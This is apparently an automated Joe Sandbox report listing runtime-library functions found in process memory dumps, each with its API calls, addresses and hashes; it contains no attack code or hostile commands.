Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 765bc597b3a95570dde56389326df9eb5922ca501b7bd3cec054989f9ae32840
Instruction ID: e6143ff7b034651a67ea37bebe6665fc5f5322d3b40ca955d1593ed13d85964f
Opcode Fuzzy Hash: 765bc597b3a95570dde56389326df9eb5922ca501b7bd3cec054989f9ae32840
Instruction Fuzzy Hash: 9301D63294065DEFDB119F50DC49FBEBBB8FB44B54F00052AF921E66E0DBB49904CA50

Function 00D0CBA8 Relevance: 7.8, APIs: 5, Instructions: 297COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D0CC2F
_memset.LIBCMT ref: 00D0CC40
_memset.LIBCMT ref: 00D0CD08
_memset.LIBCMT ref: 00D0CD74
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D0CE96

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: _memset$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 2583058844-0
Opcode ID: d5154201261d98dd49ec3167d00f3a754cd273ccce8e86cb9f9af44637ef3501
Instruction ID: b14a35a8b34b97650825610b790aff13e777e5b862ca3f7edd94ca358e961a67
Opcode Fuzzy Hash: d5154201261d98dd49ec3167d00f3a754cd273ccce8e86cb9f9af44637ef3501
Instruction Fuzzy Hash: 93C128B2D0021AABCF21EB60DC45AEE777DEF08304F0551A5FA0DA3191EB359B859F61

Function 00D1CB17 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 00D1CB2B
__init_pointers.LIBCMT ref: 00D1CBDD
__calloc_crt.LIBCMT ref: 00D1CC4B
__initptd.LIBCMT ref: 00D1CC70

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: __calloc_crt__init_pointers__initptd__mtterm
String ID:
API String ID: 3132042578-0
Opcode ID: c4b24359c7556117875d4a9d0ed065821010c0f35d81486e563c5d9150432d9a
Instruction ID: bd3fc4451fe2e8e8912b9783ac0d4b51b97265bed5d8975d1e3c32cff3576996
Opcode Fuzzy Hash: c4b24359c7556117875d4a9d0ed065821010c0f35d81486e563c5d9150432d9a
Instruction Fuzzy Hash: FA317031D54350AACB32AF79BD0964A3FA1EF45722B141636E414D31B1DFB5C880CFA9

Function 00D17A22 Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 00D17A6B
DName::operator+.LIBCMT ref: 00D17A72
DName::DName.LIBCMT ref: 00D17A94
DName::operator+.LIBCMT ref: 00D17A9B
DName::operator+.LIBCMT ref: 00D17AA2

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: 3aa0acc439a82f8bd65084423e96e0a9ca118dedd833d16da9c95a53395b9bdd
Instruction ID: dcf6e5bb3d409d89953fc71a1557e2a6e4ce309a15ee59ea4e2653416f59cadd
Opcode Fuzzy Hash: 3aa0acc439a82f8bd65084423e96e0a9ca118dedd833d16da9c95a53395b9bdd
Instruction Fuzzy Hash: 0E019630A04209BFCF04EFA8F842EED7BB5EF44704F004059F5019B2A2DE70EA8587A4

Function 00CD362D Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00CD3639
int.LIBCPMT ref: 00CD364C

Part of subcall function 00CD16AA: std::_Lockit::_Lockit.LIBCPMT ref: 00CD16BB
Part of subcall function 00CD16AA: std::_Lockit::~_Lockit.LIBCPMT ref: 00CD16D5

std::_Facet_Register.LIBCPMT ref: 00CD367F
std::_Lockit::~_Lockit.LIBCPMT ref: 00CD3695
Concurrency::cancel_current_task.LIBCPMT ref: 00CD36A0

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: a749e428bc3abac1c54a0809ff5bdfe0b80538383f71e79c0b14a68ee1e17e5c
Instruction ID: 1ce1f43e71ac8a7e220d21cb9968b3690ced983f57d111e1a8cc9313d4ad1f2d
Opcode Fuzzy Hash: a749e428bc3abac1c54a0809ff5bdfe0b80538383f71e79c0b14a68ee1e17e5c
Instruction Fuzzy Hash: 6C01A732900618BBCB15AB54D8558AE7B68EF807A0B244147FE1597391EB70DF42D791

Function 00CD2AFD Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00CD2B09
int.LIBCPMT ref: 00CD2B1C

Part of subcall function 00CD16AA: std::_Lockit::_Lockit.LIBCPMT ref: 00CD16BB
Part of subcall function 00CD16AA: std::_Lockit::~_Lockit.LIBCPMT ref: 00CD16D5

std::_Facet_Register.LIBCPMT ref: 00CD2B4F
std::_Lockit::~_Lockit.LIBCPMT ref: 00CD2B65
Concurrency::cancel_current_task.LIBCPMT ref: 00CD2B70

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: d25ed628b659dd25eb80e5911ebea0ac5ab9631a620dd9e1867b5ed085f4c781
Instruction ID: 3a0b9894f899974c6ee1d86fa3baf49a2261637be4d599b40b359d4b45cb4dee
Opcode Fuzzy Hash: d25ed628b659dd25eb80e5911ebea0ac5ab9631a620dd9e1867b5ed085f4c781
Instruction Fuzzy Hash: EE01A732900618BBCB15AF54D8558AE7768DFA0760B140247FF129B391EB709F01D7D1

Function 00CD50E3 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00CD50EA
std::_Lockit::_Lockit.LIBCPMT ref: 00CD50F5
std::_Lockit::~_Lockit.LIBCPMT ref: 00CD5163

Part of subcall function 00CD5246: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00CD525E

std::locale::_Setgloballocale.LIBCPMT ref: 00CD5110
_Yarn.LIBCPMT ref: 00CD5126

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: fbb1c290be664454c350df8aa418038109d0314409a5c7c9fcc1ec14cfeb22f5
Instruction ID: 972b8a18f79ae9266bc650387650926b96c11361e817bf165ab4ed08b6479842
Opcode Fuzzy Hash: fbb1c290be664454c350df8aa418038109d0314409a5c7c9fcc1ec14cfeb22f5
Instruction Fuzzy Hash: 5B01A275A00A519BDB06EB20DC9167DBBB1FF99780B18400FEA1257382DF746E42EBD1

Function 00D1FFB6 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00D1FFC2

Part of subcall function 00D1C954: __getptd_noexit.LIBCMT ref: 00D1C957
Part of subcall function 00D1C954: __amsg_exit.LIBCMT ref: 00D1C964

__calloc_crt.LIBCMT ref: 00D1FFCD
__lock.LIBCMT ref: 00D20003
___addlocaleref.LIBCMT ref: 00D2000F
__lock.LIBCMT ref: 00D20023

Part of subcall function 00D1BAF4: __getptd_noexit.LIBCMT ref: 00D1BAF4

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__getptd
String ID:
API String ID: 2820776222-0
Opcode ID: 2c0f3218e348ac7c5fd0d4c97702a7053877af8ef00d8f5bc14db8e52945bb76
Instruction ID: 91101d454ed2b0a4a4aed2e0d550cfc288817209909db014e9e54708a788c78e
Opcode Fuzzy Hash: 2c0f3218e348ac7c5fd0d4c97702a7053877af8ef00d8f5bc14db8e52945bb76
Instruction Fuzzy Hash: E2017C71551711FAEB20BBB4B907B8C7BA0EF45720F204619F4989A2C2CFB899818B75

Function 00D1E719 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00D1E725

Part of subcall function 00D1C954: __getptd_noexit.LIBCMT ref: 00D1C957
Part of subcall function 00D1C954: __amsg_exit.LIBCMT ref: 00D1C964

__getptd.LIBCMT ref: 00D1E73C
__amsg_exit.LIBCMT ref: 00D1E74A
__lock.LIBCMT ref: 00D1E75A
__updatetlocinfoEx_nolock.LIBCMT ref: 00D1E76E

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 4402fd7a9f35548a0a6e406088b1ac9e9fe92c8952a9fc7886658e1653cea504
Instruction ID: 68341d4b87eb470cf4785647b930c5160a9d25571910e1fc4308b8096ebf1472
Opcode Fuzzy Hash: 4402fd7a9f35548a0a6e406088b1ac9e9fe92c8952a9fc7886658e1653cea504
Instruction Fuzzy Hash: 9CF06D32A44A11BAEA21BB68B807BD96390EF00721F55051AF854A61D6CF285881DBBA

Function 00CDB1D2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00CDB183,00000000,?,00D59E4C,?,?,?,00CDB326,00000004,InitializeCriticalSectionEx,00CEFC70,InitializeCriticalSectionEx), ref: 00CDB1DF
GetLastError.KERNEL32(?,00CDB183,00000000,?,00D59E4C,?,?,?,00CDB326,00000004,InitializeCriticalSectionEx,00CEFC70,InitializeCriticalSectionEx,00000000,?,00CDB0DD), ref: 00CDB1E9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00CDB211

Strings

api-ms-, xrefs: 00CDB1F6

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 9434f95ac864d1cdf3adcbaaafbda520f5631370ee396779d5dacef95c23d481
Instruction ID: b2ef7e066d0ff0abfa0badccaee9d1f04f6085a2fe96b2b69203c0e758368646
Opcode Fuzzy Hash: 9434f95ac864d1cdf3adcbaaafbda520f5631370ee396779d5dacef95c23d481
Instruction Fuzzy Hash: 71E04831280384F7EF201F71EC46B1C3E64AB01BD4F104032FA0CA85E1D7A2DD6195C5

Function 00CE2782 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(CF069A66,00000000,00000000,00000000), ref: 00CE27E5

Part of subcall function 00CE6D76: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00CE5E3B,?,00000000,-00000008), ref: 00CE6E22

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00CE2A40
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00CE2A88
GetLastError.KERNEL32 ref: 00CE2B2B

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 8a18e8b43f79e67315a5c90e0e77bea89594bd47ba09b0e5332eccf520abc68e
Instruction ID: 1c853d489d35ebe6cb70557155479945e76187a318c9bef7c839f5f46fb140d4
Opcode Fuzzy Hash: 8a18e8b43f79e67315a5c90e0e77bea89594bd47ba09b0e5332eccf520abc68e
Instruction Fuzzy Hash: A5D16DB5D002989FDF15CFE9D880AADBBB9FF49304F18412AE866E7351D730A942CB50

Function 00D06066 Relevance: 6.3, APIs: 4, Instructions: 325COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D06097
_memset.LIBCMT ref: 00D060B7
_memset.LIBCMT ref: 00D060C8
_memset.LIBCMT ref: 00D060D9

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f8f2153a799745a3823d4200728c2e8b4f8fcabfd3bf63ecfc095cee7d3419b3
Instruction ID: 11bab08e5f00f4f08dad9700a9fa4cdbf96c5846dfe33a79ff9bb4d5ed8834bb
Opcode Fuzzy Hash: f8f2153a799745a3823d4200728c2e8b4f8fcabfd3bf63ecfc095cee7d3419b3
Instruction Fuzzy Hash: EED1D7B191012DAADB20EB94DC42BE9B779EF04704F1054E7A64CB2091DA71BF89DF72

Function 00CDA1A1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00CDA268
___AdjustPointer.LIBCMT ref: 00CDA28B
___AdjustPointer.LIBCMT ref: 00CDA327

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: c4eac6f89770a72bc3d47a7010713947f40a6e0933f7e1782563714189479f85
Instruction ID: caee6a3942665476a8404f4e81fbe4f5f42620291e975723a3ed86b4de7a3526
Opcode Fuzzy Hash: c4eac6f89770a72bc3d47a7010713947f40a6e0933f7e1782563714189479f85
Instruction Fuzzy Hash: 9E510772604606AFDB288F56C841B7A77A4FF44310F24412FEB1A97791E732EE40E792

Function 00D10261 Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D10286
_memset.LIBCMT ref: 00D10295
_memset.LIBCMT ref: 00D10455
_memset.LIBCMT ref: 00D10467

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: e6a4378ef944a74b131cf10b70e7dc44835de18d1aba5a5ebab30bde6206ff17
Instruction ID: a1cd55b6f1a8fc55f117f8729626d5fbc9bf443654a0a78d7f9c900a54fcc338
Opcode Fuzzy Hash: e6a4378ef944a74b131cf10b70e7dc44835de18d1aba5a5ebab30bde6206ff17
Instruction Fuzzy Hash: FD51D9B1E0022A9BCB61EF24DC41ADCB77CEB44704F4110E5A718B3192DB74AF868E65

Function 00D0E39D Relevance: 6.1, APIs: 4, Instructions: 114COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D0E3C2
_memset.LIBCMT ref: 00D0E436
_memset.LIBCMT ref: 00D0E4AA
_memset.LIBCMT ref: 00D0E51E

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: cd4a56d92ebe8f612b610e688c4f30728cb1f6f2652345522dcac12796165e9d
Instruction ID: ab56ca02978ed947d1e6b94f17666dbf377af85fcc13f7b9775831a042cf32f4
Opcode Fuzzy Hash: cd4a56d92ebe8f612b610e688c4f30728cb1f6f2652345522dcac12796165e9d
Instruction Fuzzy Hash: 3241C871D4021CBBDF14EB60EC47FDD7378EB08310F2044A67608A7091EAB46A848FA5

Function 00D1E9B5 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00D1E9C1

Part of subcall function 00D1C954: __getptd_noexit.LIBCMT ref: 00D1C957
Part of subcall function 00D1C954: __amsg_exit.LIBCMT ref: 00D1C964

__amsg_exit.LIBCMT ref: 00D1E9E1
__lock.LIBCMT ref: 00D1E9F1
_free.LIBCMT ref: 00D1EA21

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3170801528-0
Opcode ID: cdb488327a21f6d606db66afea2a437e5231a64039bb5e551d8e41bc4490d92d
Instruction ID: 7d205bf6700e82774bf85eb0758c93c98152b77ec9af28900cd5f1eb6cd2d620
Opcode Fuzzy Hash: cdb488327a21f6d606db66afea2a437e5231a64039bb5e551d8e41bc4490d92d
